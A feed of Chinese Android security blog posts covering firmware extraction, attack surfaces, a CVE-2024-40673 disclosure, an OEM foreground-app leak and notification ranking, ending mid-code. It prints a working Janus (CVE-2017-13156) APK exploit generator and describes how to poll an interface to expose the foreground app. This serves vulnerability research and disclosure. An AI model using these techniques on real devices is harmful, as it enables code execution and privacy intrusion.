-rw-r--r-- 1 xiaolu xiaolu    4967424 10月12日 15:20 unknown_file.23
-rw-r--r-- 1 xiaolu xiaolu    1092712 10月12日 15:20 unknown_file.24
-rw-r--r-- 1 xiaolu xiaolu    9926976 10月12日 15:20 unknown_file.25
-rw-r--r-- 1 xiaolu xiaolu   10159808 10月12日 15:20 unknown_file.26
-rw-r--r-- 1 xiaolu xiaolu     167624 10月12日 15:20 unknown_file.27
-rw-r--r-- 1 xiaolu xiaolu   20971520 10月12日 15:20 unknown_file.28
-rw-r--r-- 1 xiaolu xiaolu   10485760 10月12日 15:20 unknown_file.29
-rw-r--r-- 1 xiaolu xiaolu         17 10月12日 15:20 unknown_file.3
-rw-r--r-- 1 xiaolu xiaolu   56623104 10月12日 15:20 unknown_file.30
-rw-r--r-- 1 xiaolu xiaolu   33554432 10月12日 15:20 unknown_file.31
-rw-r--r-- 1 xiaolu xiaolu    2097152 10月12日 15:20 unknown_file.32
-rw-r--r-- 1 xiaolu xiaolu   25165824 10月12日 15:20 unknown_file.33
-rw-r--r-- 1 xiaolu xiaolu   56623104 10月12日 15:20 unknown_file.34
-rw-r--r-- 1 xiaolu xiaolu   33554432 10月12日 15:20 unknown_file.35
-rw-r--r-- 1 xiaolu xiaolu    2097152 10月12日 15:20 unknown_file.36
-rw-r--r-- 1 xiaolu xiaolu   25165824 10月12日 15:20 unknown_file.37
-rw-r--r-- 1 xiaolu xiaolu  123731968 10月12日 15:20 unknown_file.38
-rw-r--r-- 1 xiaolu xiaolu   20971520 10月12日 15:20 unknown_file.39
-rw-r--r-- 1 xiaolu xiaolu        102 10月12日 15:20 unknown_file.4
-rw-r--r-- 1 xiaolu xiaolu   12582912 10月12日 15:20 unknown_file.40
-rw-r--r-- 1 xiaolu xiaolu      30832 10月12日 15:20 unknown_file.41
-rw-r--r-- 1 xiaolu xiaolu      16960 10月12日 15:20 unknown_file.42
-rw-r--r-- 1 xiaolu xiaolu   48234496 10月12日 15:20 unknown_file.43
-rw-r--r-- 1 xiaolu xiaolu    3145728 10月12日 15:20 unknown_file.44
-rw-r--r-- 1 xiaolu xiaolu   16777216 10月12日 15:20 unknown_file.45
-rw-r--r-- 1 xiaolu xiaolu   16777216 10月12日 15:20 unknown_file.46
-rw-r--r-- 1 xiaolu xiaolu 2904555520 10月12日 15:21 unknown_file.47
-rw-r--r-- 1 xiaolu xiaolu  987758592 10月12日 15:21 unknown_file.48
-rw-r--r-- 1 xiaolu xiaolu 4114612224 10月12日 15:21 unknown_file.49
-rw-r--r-- 1 xiaolu xiaolu        104 10月12日 15:20 unknown_file.5
-rw-r--r-- 1 xiaolu xiaolu    4194304 10月12日 15:21 unknown_file.50
-rw-r--r-- 1 xiaolu xiaolu  964689920 10月12日 15:21 unknown_file.51
-rw-r--r-- 1 xiaolu xiaolu   33554432 10月12日 15:21 unknown_file.52
-rw-r--r-- 1 xiaolu xiaolu    6033488 10月12日 15:21 unknown_file.53
-rw-r--r-- 1 xiaolu xiaolu     866165 10月12日 15:21 unknown_file.54
-rw-r--r-- 1 xiaolu xiaolu    4194304 10月12日 15:21 unknown_file.55
-rw-r--r-- 1 xiaolu xiaolu    4194304 10月12日 15:21 unknown_file.56
-rw-r--r-- 1 xiaolu xiaolu     200704 10月12日 15:20 unknown_file.6
-rw-r--r-- 1 xiaolu xiaolu     581184 10月12日 15:20 unknown_file.7
-rw-r--r-- 1 xiaolu xiaolu      69376 10月12日 15:20 unknown_file.8
-rw-r--r-- 1 xiaolu xiaolu    6299648 10月12日 15:20 unknown_file.9

提取EROFS文件系统

上述文件可以通过<code>file</code>命令查看都是什么文件,现在的话最大的几个文件都是EROFS镜像,解析需要依赖于<code>erofs-utils</code>:

sudo apt-get install erofs-utils

提取EROFS文件系统的话,还需要使用extract.erofs,其实也是利用erofs-utils中的命令实现,最后可以得到fs_options:

Filesystem created:        Thu Jun  6 08:00:00 2024
Filesystem UUID:           ce164447-05b7-4590-9aa5-688d1ed7b18f
mkfs.erofs options:        -zlz4hc -T 1717632000 -U ce164447-05b7-4590-9aa5-688d1ed7b18f --mount-point=/unknown_file --fs-config-file=./config/unknown_file_fs_config --file-contexts=./config/unknown_file_file_contexts unknown_file_repack.img ./unknown_file

以及文件系统的内容:

lrwxrwxrwx  1 xiaolu xiaolu   11  6月 6日 08:00 bin -&gt; /system/bin
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 chip_prod
lrwxrwxrwx  1 xiaolu xiaolu    7  6月 6日 08:00 chipset -&gt; /vendor
dr-xr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 config
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 cust
drwxr-x--x  2 xiaolu xiaolu 4096  6月 6日 08:00 data
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 dev
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 eng_chipset
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 eng_system
lrwxrwxrwx  1 xiaolu xiaolu   11  6月 6日 08:00 etc -&gt; /system/etc
lrwxrwxrwx  1 xiaolu xiaolu   16  6月 6日 08:00 init -&gt; /system/bin/init
lrwxrwxrwx  1 xiaolu xiaolu   11  6月 6日 08:00 lib -&gt; /system/lib
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 log
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 mnt
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 module_update
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 patch_hw
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 preload
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 proc
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 sec_storage
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 storage
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 sys
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 sys_prod
drwxr-xr-x 12 xiaolu xiaolu 4096 10月12日 15:44 system
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 tmp
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 updater
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 vendor
drwxr-xr-x  2 xiaolu xiaolu 4096  6月 6日 08:00 version

分析

这样就可以进行系统安全分析甚至TEE安全分析了,后续有时间会撰写更多文章分享这部分的内容。

]]>
Android 系统安全和黑灰产对抗 https://wrlus.com/android-security-learning/android-system-security-intro/ Sat, 12 Oct 2024 08:15:37 +0000 https://wrlus.com/?p=1320

Android系统架构和攻击面

Android系统架构(安全视角)

  • 第三方应用:设备启用后,用户自行下载和安装的应用,只能通过系统框架来访问绝大多数系统资源。
  • 系统应用:设备出厂预安装的应用,可能具有system_app权限、平台签名权限、特许权限。当然也可能没有特殊的权限,这种本质上和第三方应用区别不大。
  • 系统框架:特指系统中的一个特殊进程system_server,它的权限比system_app要高,主要功能是维护应用执行所需的环境,以及向应用提供各种系统功能的接口,这些接口以系统服务(System Service)的形式提供。
  • Native库:泛指使用C/C++语言开发的用户态程序,包括被system_server进程加载的一些Native库、Native原生进程。负责管理系统底层的功能,例如系统服务、存储、各类附加芯片等,这些进程也会以系统服务的形式提供一些接口。但是出于安全起见,应用一般不允许直接访问到这些进程,而必须经过系统框架中的代理接口来进行。
  • Runtime:ART虚拟机,在Android 4.4之前是Davilk虚拟机,这部分代码运行在应用进程中。
  • Linux内核:Android使用了一系列定制版的Linux内核分支,用于支持一些Android特有的功能,例如Binder通信机制、ashasm共享内存等。同时也限制了很多桌面Linux发行版内核中的功能和攻击面。
  • TEE:依托于ARM TrustZone机制实现的小型子系统,独立于Android系统运行,专门用于实现高安全性的功能,典型的应用是锁屏密码、指纹和人脸解锁、密钥存储、DRM版权保护等。
  • SE:Android厂商阵营为了模仿Apple安全隔区(Secure Element)而实现的安全组件,运行在独立于主SoC芯片的单独安全芯片上,并运行简单的操作系统。典型实现有Google Pixel的Titan M2、三星Galaxy S20开始搭载的安全芯片、华为Mate 40 Pro和Mate 60系列的海思安全芯片。

Android安全模型和边界

  • Linux UID:每个应用使用一个UID,利用Linux内核的DAC机制进行隔离,保证了不同应用之间无法互相访问其文件,应用也无法直接访问系统进程的文件,也提供了一套可靠的权限检查方式,实际上Android中所有的Permission检查都依赖于Linux UID进行。
  • SELinux (SEAndroid):Linux UID有个最大问题就是,一旦攻击者提权到system uid或root uid,就会拥有巨大的权限,为了解决这个问题Google在Android 5.0开始引入了成熟的SELinux机制,并且做了适当的精简以适合移动端环境,可以精细化限制Linux文件访问、Socket访问、Binder调用、Property访问。但是要注意SELinux无法实现应用之间的隔离,它仅把应用分为了少数几种类型。

Android系统安全攻击面

传统攻击面

  • mediaserver:Android 5.0之前,mediaserver是安全研究员的乐园,因为这类进程的输入是易于Fuzzing的文件输入,所以自然成为研究员的首选目标。但从Android 5.0引入SELinux以及Android 7.0开始对mediaserver相关进程进行拆分隔离之后,这类攻击面就已经难以造成巨大的危害。
  • bluetooth:在mediaserver漏洞少了之后,从2017年开始安全研究员们又开始专注于研究bluetooth漏洞,毕竟这可以从远程攻入手机,还无需用户交互,同时com.android.bluetooth这个进程到现在也没有像mediaserver那样进行严格的隔离,所以到现在而言AOSP漏洞中的RCE漏洞几乎都是bluetooth漏洞和NFC漏洞。
  • Linux 驱动:虽说Android经过了良好设计,基本不允许应用直接访问驱动,但是例如GPU驱动和Binder驱动是例外,GPU主要是为了高效的图形渲染,而Binder驱动是跨进程调用的基础,所以那些喜欢Linux内核研究的安全研究员,就会选择这类攻击面作为目标。

专有攻击面

  • 应用组件漏洞:通过应用组件的漏洞攻击其他系统应用,最简单的就是各类组件未鉴权导致跨进程访问的问题,最经典的莫过于Intent重定向+FileProvider导致任意文件读写的利用方式。
  • 系统服务接口:系统框架提供了很多给应用的Binder IPC接口,如果没有正确的权限检查,可能导致信息泄露或越权操作。
  • 反序列化漏洞:可以说是Android专有的最精彩的漏洞利用方式,最终可以实现system_app任意文件读写,或接续其它漏洞继续攻击。

黑灰产对抗

恶意软件

恶意软件这个概念从PC安全时代就开始被提及,只不过PC安全时代的恶意软件多用于窃取数据、劫持勒索甚至只是炫耀技术。由于手机承载内容的不同,到移动时代的恶意软件有着不同的目标。

移动端恶意软件的类型

  • 点播吸费:利用发送付费短信的权限,点播运营商服务实现吸费,由于Android 6.0之前没有动态权限授予机制,所以无需用户同意即可实现。
  • 广告推广:随着运营商扣费项目的规范,通过直接吸费变得困难之后,黑产便更多地转向投放广告获取收益,和普通广告不同的是通过系统植入的广告软件会在手机使用过程中进行强制弹出。
  • 窃取隐私:利用通讯录等权限,收集用户隐私数据特别是通讯录,可用于广告推广或其他违法用途。

移动端恶意软件分发渠道

  • 浏览器:从浏览器安装应用是最常规也是最简单的方式。近年来由于厂商对未知应用来源安装应用添加了很多强交互,所以从浏览器安装应用也变得困难,但对于老年以及其它不懂手机的群体来说,还是被诱导的可能。
  • 应用市场:实际上国内大部分安卓应用市场的审核并不严格,特别是使用各种黑科技的应用,更是没有办法进行检测,所以有不少恶意软件就直接上传到应用市场,这样用户会更容易下载到。
  • 快应用:虽然快应用本身的能力很有限,但是快应用作为一个跨端容器可以很方便地嵌入到浏览器广告甚至其它软件中,没有太多的监管同时也很容易引流到厂商的应用市场进行下载,配合应用市场上的恶意应用进行分发。

后台弹窗技术

后台弹窗是2022年以来黑灰产使用的较新技术,Android恶意软件可以在不进入前台的情况下弹出Activity,从而实现弹出广告,绕过了Android 10以来后台Activity启动限制的安全设计。配合获取前台应用信息的漏洞,还可以实现在其他应用在前台时精准弹出广告,提高引流效果,AOSP中曾出现过的经典漏洞有:

  • CVE-2020-0500:InputMethodManagerService中不安全的PendingIntent
  • CVE-2021-39758:VirtualDisplay豁免漏洞
  • CVE-2022-20197:system_server Parcel缓存复用漏洞。因为通过点击Push通知启动应用属于后台弹出Activity,所用PendingIntent被系统附加了后台启动Token到Parcel中,而由于Parcel缓存机制导致最终利用AlarmManager功能弹窗时,之前携带后台启动Token的Parcel被当前PendingIntent复用导致绕过。
    厂商出现的经典漏洞有:
  • system uid存在可见窗口:AlarmManager和JobService启动Activity时都会满足system_server的进程bindService到恶意软件的豁免条件,因为厂商在system uid的进程中实现手势导航导致被系统认为具有可见窗口,所以满足有可见窗口的uid通过bindService绑定的豁免条件,导致漏洞出现。

刷机解锁

刷机在PC时代可能不是一个问题,这可能仅仅指的是在“电脑城”这种地方找人帮忙重装系统,但是在移动时代刷机有了新的含义。而解锁则是移动时代新出现的概念。

刷机解锁的目标

  • 手机root:无论是数码爱好者还是安全研究人员都会有的一个合理需求,早期的KingRoot这类软件和iOS越狱原理类似,都是利用内核漏洞提升到root权限,后来的root方案基本依赖于bootloader解锁。实际上Google官方和很多海外品牌(三星、索尼等)是不排斥bootloader解锁,只是要确保在用户授权的情况下就允许自由刷写非官方签名的镜像。然而大部分国产品牌因为盲目对标苹果,便剥夺了用户自由刷写任意镜像的权利,导致黑灰产会寻找各类bootloader或BootROM的漏洞实现自由刷写非官方签名的镜像和root。
  • 灌装/定制ROM:早期Android没有安全启动机制的时候,线下手机销售门店会和黑灰产合作推广应用获利,这些应用会直接注入到手机ROM包中,用户在未root的情况下无法卸载。Android安全启动普及之后这条路基本行不通。
  • 手机洗白(手撕):在iOS推出“查找”功能允许即使刷机后也能通过Apple ID阻止激活的安全特性之后,Android厂商纷纷效仿,然而因为技术能力有限导致频频出现绕过的情况,这种手法称为手机洗白。因为主要的目的是刷写被盗的手机并允许二手出售,所以俗称“洗白”,也成为“手撕激活锁”。
  • 保资料解锁:和手机洗白有点类似,不同点是手机洗白是无所谓用户数据的,只需要让手机可以重新使用即可,同时最好可以绕过云端的激活锁逻辑以防止刷机之后再次被锁定。而保资料解锁的关键就是不能丢失用户资料,但是没有绕过云端激活锁逻辑的需求。这种技术会被用于公安取证,允许公安机关在犯罪嫌疑人不配合提供手机锁屏密码的情况下,通过保资料解锁实现提取手机中的数据资料。

刷机解锁利用的技术

  • recovery漏洞:OTA升级流程中是recovery程序中写入升级包到各个正常系统分区完成升级,在数码圈俗称“卡刷”(因早期Android手机内部存储很小,需把升级包放入外置SD卡中且无需连接电脑而得名),实际上除了直接解锁bootloader写入第三方recovery之外,官方的recovery程序也可能存在漏洞。例如最典型的就是升级包检查不严格,或处理升级包的过程中存在溢出问题等。
  • 启动链漏洞:Android启动链整体而言比传统PC要复杂,传统PC只有UEFI负责第一层引导,然后便直接加载Windows内核。Android启动链以华为海思为例,在Android验证启动2.0(AVB 2.0)之前还包含BootROM、xloader、bootloader这些阶段(通过这些阶段写入分区镜像在数码圈俗称“线刷”,因为需要使用USB线连接电脑操作而得名)。实际上前面的组件是为了对标iOS的安全启动功能而实现,这些模块中引入的漏洞也会导致问题。高通的启动链黑灰产和安全研究人员主要集中于EDL模式的研究(9008模式,俗称救砖),高通EDL对应于华为海思和苹果的BootROM部分,而MTK也有类似的模块也是黑灰产和安全研究人员研究的重点。
  • 设备加密漏洞:主要用于实现保资料解锁,部分设备加密的密钥只通过锁屏密码生成,知道算法之后就可以直接进行离线爆破,更安全的设备会使用芯片密钥(相同芯片的机型共享一个密钥)和设备独立密钥(即一机一授权)再加上锁屏密码生成,这类设备就具有更高的安全性,必须窃取到被芯片保护的密钥才能完成保资料解锁。
  • 业务逻辑漏洞:有些时候实现手机洗白的攻击只需要通过一些上层业务逻辑漏洞实现,比如在Android开箱体验(OOBE)程序中的逻辑漏洞,典型的有通过紧急呼叫、Talkback实现逻辑绕过进入桌面。还有的是利用激活锁云端逻辑的漏洞进行攻击,例如锁屏密码解锁激活锁功能,这些都是黑灰产和安全研究人员喜欢研究的部分。

参考

]]>
CVE-2024-40673——Janus漏洞再现 https://wrlus.com/android-security/cve-2024-40673/ Thu, 10 Oct 2024 11:54:49 +0000 https://wrlus.com/?p=1198 背景

Google在2024年10月的Android安全公告中,终于披露了我之前发现的CVE-2024-40673漏洞,并给予了高严重性和RCE的漏洞分类。这个漏洞的发现过程也算是机缘巧合,今天就来聊聊CVE-2024-40673这个漏洞。

CVE-2017-13156

因为标题是“Janus漏洞再现”,所以有必要先来回顾一下Janus漏洞,也就是CVE-2017-13156。这个漏洞讲述的是在APK V1签名校验的过程中没有对APK文件头进行检查,使得攻击者可以在APK文件前面拼接一个DEX文件,实现执行任意代码。这个漏洞的核心点有二:

  1. Android系统中的ZIP文件解析的时候是从文件末尾逐个读取解析ZipEntry,并按照偏移提取每个文件,而没有关注文件头是否是合法的ZIP文件magic;
  2. ART虚拟机会检查文件头是DEX还是ZIP,从而决定是加载一个DEX文件还是一个APK文件。

结果就是ZIP文件解析的时候忽略掉了DEX,而ART加载的时候却加载了头部的DEX文件,造成了签名检查绕过,执行任意代码。然后我们再看这个漏洞的补丁

  uint32_t lfh_start_bytes;
  if (!archive->mapped_zip.ReadAtOffset(reinterpret_cast<uint8_t*>(&lfh_start_bytes),
                                        sizeof(uint32_t), 0)) {
    ALOGW("Zip: Unable to read header for entry at offset == 0.");
    return -1;
  }

  if (lfh_start_bytes != LocalFileHeader::kSignature) {
    ALOGW("Zip: Entry at offset zero has invalid LFH signature %" PRIx32, lfh_start_bytes);
#if defined(__ANDROID__)
    android_errorWriteLog(0x534e4554, "64211847");
#endif
    return -1;
  }

修改的文件是/system/core/libziparchive/zip_archive.cc,是属于libziparchive模块,查看该模块的Android.bp文件发现,这个模块提供了unzip这个binary,也就是说2017年Google是对unzip这个二进制进行了修复。那么在Android中还有没有其他解压缩的API呢?

Java ZipEntry API

实际上在Java层也有处理ZIP文件的API,也就是ZipEntry API,使用方法如下:

ZipFile zipFile = new ZipFile(zipFile);
Enumeration<? extends ZipEntry> zipEntries = zipFile.entries();
while (zipEntries.hasMoreElements()) {
    ZipEntry entry = zipEntries.nextElement();
    Log.i(TAG, "ZipEntry: " + entry.getName());
}

同时Android还提供了JarEntry,查看代码发现实际上就是ZipEntry的封装,不再赘述。那么这两个API有没有检查ZIP文件头的magic呢?答案居然是没有:

private void exploitJanus() {
    try {
        PackageManager pm = getPackageManager();
        AssetManager assetManager = getAssets();
        File outJarFile = new File(getFilesDir(), "exp.apk");
        FileOutputStream fos = new FileOutputStream(outJarFile);
        long sizeCopied = FileUtils.copy(assetManager.open("exp.apk"), fos);
        if (sizeCopied > 0) {
            Log.i(TAG, "Copy success: " + sizeCopied);
            JarFile jarFile = new JarFile(outJarFile);
            Enumeration<JarEntry> entries = jarFile.entries();
            while (entries.hasMoreElements()) {
                JarEntry entry = entries.nextElement();
                Log.i(TAG, "JarEntry: " + entry.getName());
            }
            jarFile.close();
            ZipFile zipFile = new ZipFile(outJarFile);
            Enumeration<? extends ZipEntry> zipEntries = zipFile.entries();
            while (zipEntries.hasMoreElements()) {
                ZipEntry entry = zipEntries.nextElement();
                Log.i(TAG, "ZipEntry: " + entry.getName());
            }
            jarFile.close();
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
}

这个exp.apk是由CVE-2017-13156的利用代码实现的:

#!/usr/bin/python

import sys
import struct
import hashlib
from zlib import adler32

def update_checksum(data):
    m = hashlib.sha1()
    m.update(data[32:])
    data[12:12+20] = m.digest()

    v = adler32(memoryview(data[12:])) & 0xffffffff
    data[8:12] = struct.pack("<L", v)

def main():
    if len(sys.argv) != 4:
        print("usage: %s dex apk out_apk" % __file__)
        return

    _, dex, apk, out_apk = sys.argv

    with open(dex, 'rb') as f:
        dex_data = bytearray(f.read())
    dex_size = len(dex_data)

    with open(apk, 'rb') as f:
        apk_data = bytearray(f.read())
    cd_end_addr = apk_data.rfind(b'\x50\x4b\x05\x06')
    cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
    apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)

    pos = cd_start_addr
    while (pos < cd_end_addr):
        offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
        apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
        pos = apk_data.find(b"\x50\x4b\x01\x02", pos+46, cd_end_addr)
        if pos == -1:
            break

    out_data = dex_data + apk_data
    out_data[32:36] = struct.pack("<L", len(out_data))
    update_checksum(out_data)

    with open(out_apk, "wb") as f:
        f.write(out_data)

    print ('%s generated' % out_apk)

if __name__ == '__main__':
    main()

DEX和APK文件可以自己选择,经过测试发现,在2024-10-01之前补丁的Android 14设备上,ZIP文件可以被正常解析并且不会出现任何错误和异常,头部的DEX被完全忽略。

ART的处理逻辑

上面我们提到了,ART虚拟机会检查文件头是DEX还是ZIP,从而决定是加载一个DEX文件还是一个APK文件,那么这个特性有没有变化呢?我们使用dex2oat命令进行了测试发现,这个特性没有变化,app_process命令理应也如此,毕竟在2017年修复漏洞时,Google并没有对ART引入任何漏洞的修复,而且这个判断文件头的逻辑也比较合理,没有修改的必要。

总结

由于PackageManagerService是利用libziparchive去解析ZIP文件的,所以这个漏洞并不像当年Janus漏洞一样可以直接通过安装一个APK来实现。但是我发现很多应用的动态代码加载(DCL)逻辑还是使用的V1签名,并且还是利用JarEntry API去进行的解析,那么这部分应用的不安全的DCL就会受到影响。这也是Google经过综合考虑将该漏洞授予RCE分类,而当年的Janus漏洞却只是EoP分类的原因。这里可以看到Google是从整个Android生态系统的角度来看待安全,就好像之前“修复”了unzip命令的路径回溯问题一样,对于这类API上的问题,不能只考虑对系统的影响,也要考虑生态系统中可能存在很多“小白”开发者直接误用这些API的风险。由此给Google对Android生态系统负责任的态度点一个赞。

补丁

在Java ZipEntry API的底层库libcore/ojluni中修复了这个问题:

// BEGIN Android-changed: do not accept files with invalid header.
if (!LOCSIG_AT(errbuf) && !ENDSIG_AT(errbuf)) {
    if (pmsg) {
        *pmsg = strdup("Entry at offset zero has invalid LFH signature.");
    }
    ZFILE_Close(zfd);
    freeZip(zip);
    return NULL;
}
// END Android-changed: do not accept files with invalid header.

并且commit中也描述了:

This aligns ZipFile with libziparchive modulo empty zip files – libziparchive rejects them.

时间线

2023-11-09 初始报告提交到了Google IssueTracker
2024-01-10 因为之前的报告没有得到回应,重新提交报告到了Google Bug Hunters
2024-01-16 与Google确认了漏洞部分的细节
2024-02-26 Google确认漏洞,级别为高
2024-09-25 Google分配CVE编号CVE-2024-40673,并确认将在2024-10-01补丁中发布
2024-10-08 Google发布2024-10的Android安全公告披露漏洞补丁
2024-10-10 本文章发表

]]>
Android 接口信息泄漏有趣漏洞一则 https://wrlus.com/android-security/last-resumed-activity/ Mon, 05 Aug 2024 05:04:54 +0000 https://wrlus.com/?p=1178 背景

接口信息泄漏的问题在中国大陆OEM上已经不是什么新鲜漏洞,主要也是喜欢做多屏协同这类对Window和Activity“下手”的特性,但是这次遇到的这两个同样的漏洞,还是让我觉得很有趣,在这里跟大家分享一下。

第一个漏洞

最早是在看到了一个名为getActivityConfigs的接口,逻辑大概是这样的(隐去部分信息):

@Override // com.android.server.wm./* hide */
public Bundle getActivityConfigs(IBinder token, String pkgName) {
    Bundle bundle = new Bundle();
    bundle.putBoolean(KEY_SMART_WINDOW, isNeedSmartWindow(pkgName) || isNeedTvSmartWindow(pkgName));
    ActivityRecord activityRecord = null;
    synchronized (this.mIAtmsInner.getATMS().getGlobalLock()) {
        if (token != null) { // [1]
            try {
                activityRecord = ActivityRecord.isInRootTaskLocked(token);
            } finally {
            }
        }
        if (token == null && pkgName != null) {
            activityRecord = this.mIAtmsInner.getLastResumedActivityRecord(); // [2]
        }
        // [3]
        if (activityRecord != null && (TextUtils.equals(activityRecord.packageName, pkgName) || 
            /* hide */)) {
            /* hide */
            Task task = activityRecord.getTask();
            if (task != null) { // [4]
                bundle.putBoolean(KEY_FIXED_SIZE, task.isFixedSize()); 
                bundle.putBoolean("hasCaption", task.isHwStackShowCaption);
                bundle.putBoolean(HwActivityTaskManager./* hide */, task.isAlwaysOnTop());
                /* hide */
                int policyMode = task.getWindowingMode();
                bundle.putInt("android.activity.windowingMode", policyMode);
                if (policyMode == 101) {
                    policyMode = 100;
                }
                if (policyMode == 102) {
                    policyMode = 102;
                }
                int displayId = activityRecord.getDisplayId();
                bundle.putFloat(KEY_CORNER_RADIUS, getCornerRadius(policyMode, displayId));
                bundle.putBoolean(KEY_CAPTION_BAR, isNeedCaptionBar(policyMode, displayId));
            }
            return bundle; // [5]
        }
        return bundle;
    }
}

首先是没有权限检查,但是这个接口能带来什么呢?在标记1的地方会取我们传入的IBinder token,并且传入isInRootTaskLocked,这里其实是没办法做什么的,因为正常情况下也没办法知道别人的IBinder token。但是到标记2这里给了一个逃生通道,如果token为null也没关系,只要pkgName不是null就会获取getLastResumedActivityRecord,这个的LastResumedActivity在AOSP代码中的解释是:

The last resumed activity. This is identical to the current resumed activity most of the time but could be different when we’re pausing one activity before we resume another activity.

其实简单点来说,就是用户当前前台的Activity。后面就比较有趣了,在标记3的地方会判断LastResumedActivity.packageName是否和入参pkgName相同(后面或的条件成立与否不影响),若相同并且activityRecord.getTask()不为空,会在标记4那里写入很多内容到bundle,并在标记5的地方返回。这里就可以通过遍历所有的包名,传入这个函数,去轮询判断哪个包名才是当前LastResumedActivity所在的,从而知道哪个应用位于前台显示,造成信息泄漏。

复制粘帖的“漏洞”

如果只是第一个漏洞,那其实没什么意思,仅仅是一个无聊的信息泄漏漏洞而已。但是我在查看另一个中国大陆OEM厂商的代码时,居然发现了几乎一模一样的代码,而且从影响版本来看出现的比前者要晚一些,也就是说很有可能是复制粘帖的“漏洞。”具体有多“一模一样”,我贴出来大家自己评判(隐去部分信息):

public Bundle getActivityConfigs(IBinder token, String packageName) {
    Task task;
    Bundle bundle = new Bundle();
    ActivityRecord activityRecord = null;
    synchronized (this.mAtms.mGlobalLock) {
        if (token != null) {
            try {
                activityRecord = ActivityRecord.isInRootTaskLocked(token);
            } catch (Throwable th) {
                throw th;
            }
        }
        if (token == null && packageName != null) {
            activityRecord = this.mAtms.mLastResumedActivity;
        }
        if (activityRecord != null && TextUtils.equals(activityRecord.packageName, packageName) && (task = activityRecord.getTask()) != null) {
            /* hide */
            bundle.putBoolean(/* hide */.KEY_SUPPORT_SPLIT_SCREEN_WINDOWING_MODE, isSupportMultiWindowMode);
            bundle.putBoolean(/* hide */.KEY_LAUNCH_TASK_EMBEDDED, task.getWrapper().getExtImpl().isTaskEmbedded());
            bundle.putInt(/* hide */.KEY_LAUNCH_TASK_SCENARIO, task.getWrapper().getExtImpl().getLaunchScenario());
            bundle.putBoolean(/* hide */.KEY_SUPER_LOCK, task.getWrapper().getExtImpl().isSmartBackend());
        }
    }
    return bundle;
}

同样可以通过包名轮询去获取前台显示应用。

后记

本文这两个漏洞实在是一则“抄代码抄走一模一样漏洞”的“悲伤”故事,后续将这两个漏洞都上报给了对应的厂商,而获得的奖励也大有不同,前者达到了5位数,后者却只有3位数。具体品牌不点名,有兴趣的研究人员通过自己动手很容易即可知道是哪两家厂商。从漏洞的“复制粘帖”到奖金的如此差距,可以看出不同厂商对创新和安全的态度,最终反映在市场也是品牌形象的巨大差距。

]]>
AOSP 通知排序代码分析 https://wrlus.com/android-security/notification-compare/ Mon, 05 Aug 2024 03:44:48 +0000 https://wrlus.com/?p=1175 目标

分析AOSP中关于通知排序的代码,了解Android通知排序机制。

分析

NotificationRecord排序的代码位于NotificationComparator:

// frameworks/base/services/core/java/com/android/server/notification/NotificationComparator.java
@Override
public int compare(NotificationRecord left, NotificationRecord right) {
    final int leftImportance = left.getImportance();
    final int rightImportance = right.getImportance();
    final boolean isLeftHighImportance = leftImportance >= IMPORTANCE_DEFAULT;
    final boolean isRightHighImportance = rightImportance >= IMPORTANCE_DEFAULT;
    if (isLeftHighImportance != isRightHighImportance) {
        // by importance bucket, high importance higher than low importance
        return -1 * Boolean.compare(isLeftHighImportance, isRightHighImportance);
    }

    // If a score has been assigned by notification assistant service, use this service
    // rank results within each bucket instead of this comparator implementation.
    if (left.getRankingScore() != right.getRankingScore()) {
        return -1 * Float.compare(left.getRankingScore(), right.getRankingScore());
    }

    // first all colorized notifications
    boolean leftImportantColorized = isImportantColorized(left);
    boolean rightImportantColorized = isImportantColorized(right);
    if (leftImportantColorized != rightImportantColorized) {
        return -1 * Boolean.compare(leftImportantColorized, rightImportantColorized);
    }

    // sufficiently important ongoing notifications of certain categories
    boolean leftImportantOngoing = isImportantOngoing(left);
    boolean rightImportantOngoing = isImportantOngoing(right);
    if (leftImportantOngoing != rightImportantOngoing) {
        // by ongoing, ongoing higher than non-ongoing
        return -1 * Boolean.compare(leftImportantOngoing, rightImportantOngoing);
    }

    boolean leftMessaging = isImportantMessaging(left);
    boolean rightMessaging = isImportantMessaging(right);
    if (leftMessaging != rightMessaging) {
        return -1 * Boolean.compare(leftMessaging, rightMessaging);
    }

    // Next: sufficiently import person to person communication
    boolean leftPeople = isImportantPeople(left);
    boolean rightPeople = isImportantPeople(right);
    final int contactAffinityComparison =
            Float.compare(left.getContactAffinity(), right.getContactAffinity());

    if (leftPeople && rightPeople){
        // by contact proximity, close to far. if same proximity, check further fields.
        if (contactAffinityComparison != 0) {
            return -1 * contactAffinityComparison;
        }
    } else if (leftPeople != rightPeople) {
        // People, messaging higher than non-messaging
        return -1 * Boolean.compare(leftPeople, rightPeople);
    }

    boolean leftSystemMax = isSystemMax(left);
    boolean rightSystemMax = isSystemMax(right);
    if (leftSystemMax != rightSystemMax) {
        return -1 * Boolean.compare(leftSystemMax, rightSystemMax);
    }
    if (leftImportance != rightImportance) {
        // by importance, high to low
        return -1 * Integer.compare(leftImportance, rightImportance);
    }

    // by contact proximity, close to far. if same proximity, check further fields.
